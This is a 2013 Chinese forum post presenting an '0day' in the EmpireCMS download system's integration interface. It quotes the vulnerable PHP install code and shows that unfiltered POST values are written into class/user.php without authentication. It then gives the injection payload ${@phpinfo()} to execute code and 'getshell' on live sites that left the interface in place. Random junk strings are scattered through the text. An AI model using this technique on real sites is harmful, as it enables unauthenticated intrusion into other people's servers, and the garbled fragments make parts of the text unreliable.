找回密码
 立即注册
查看: 2773|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们( j. K4 g# n3 D" r2 y

7 L2 F, ^$ |6 v4 H  T( h4 b9 S9 F


  x1 M, S; ?) x4 [0 S8 O! ~( r这是帝国的一套下载系统 如图
! P# R# t7 V* d+ n. Ips(不需要任何账户和密码,直接写shell)


  c3 V& L7 |& q/ J& ?1 n

由于很多站是由于下载要整合discuz 等等一些论坛....  F% J9 I$ P- @" a3 V: K

6 ^! L! F$ I: H) t' S" @

而帝国他又有一个万能接口,如图


" U6 s* @. V" E
2 E/ s. e/ c* {" n
' [* V1 b( k0 K$ _* W' u

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
3 O7 g$ W& M, f8 \! R! S1 s/ Q: k+ w. u( ^% J" H6 C- I6 j
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
( V; V9 V( @, O. _+ U" N- ?. `9 t( `; `# |
在data/fun.php中的15行1 J& O  ?. ]7 L

9 T8 X. S2 m- W  Z6 C) K" L) j& d我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {) o+ ]+ e1 n0 S8 P# c
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
0 s( R- t) w7 h, z1 p, T
! t9 ]5 x  o5 c# H' n5 v这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);) ?+ N* I9 `7 A! w+ A! }- b0 X# h/ ~

! q& O+ [( J, G8 b' H2 y: y  z他将传进来的变量进行了切割,然后赋给了$filetext; c& k4 u$ c1 Q  Q$ K( O8 ?/ D
; x5 e* {& V/ |8 V! T5 }8 T! f
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了' W; D3 \9 c5 l" _% c1 b1 s. \
( L: B( O  ]( n1 h1 Y
我们看看写入的结果,随便填一个

& X+ g* b$ x  o( n" `

: V& T" s4 k+ t: a  ]4 \+ U3 p4 S% E0 Q
" K7 T, J/ f3 N5 F5 L' t

6 u6 V) k) q1 a! }4 g2 s7 @

, u, |  y. ^7 d3 ~, ~! S% D) A! e) `% s# o( X

7 {% X/ c( @- b7 L+ [% s
3 x! m. S9 m& k0 O/ R9 Z
: w6 j) S+ K" o# r' |0 n1 S, W
, ^/ Y9 T. r4 l( F; U8 u$ u9 u
( \% w$ G- A) K; X7 f1 B% }5 f. W
' ?2 b5 A' T! \2 D2 w1 j* m
- J3 ~6 f- Q, Q2 v: V) M

( ?0 c8 d+ f+ k# c
/ X- s; J; x! T3 k" ~- ~" a
& y0 J) l1 ]# @' }# \& O) I! p8 \4 C! I4 J( Z

. t# ~3 A& ~/ @: Y* P2 g& M* l* s- @# U; B+ _% }; J& G! m
" ]% }, u4 N4 X# F/ P

: l/ Z' Z* X# m- ^" M0 P8 v

所以我们淫荡点,写个${@phpinfo()}试试


# l+ r( U' t4 ]( l! s( q

然后访问以下class/user.php这个文件) n" @9 x" e1 S+ }7 ?; p% `
日了吧


5 \2 V' c: r+ X8 @

% E. T& |$ F/ s- R
7 w8 u# C0 O5 L+ k

9 u" G) X+ H6 E& {) o' l% b. ^/ K

! O$ u% u6 U4 L6 {; c# g0 N6 M9 f. B
, x" g6 w0 ?" w& ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表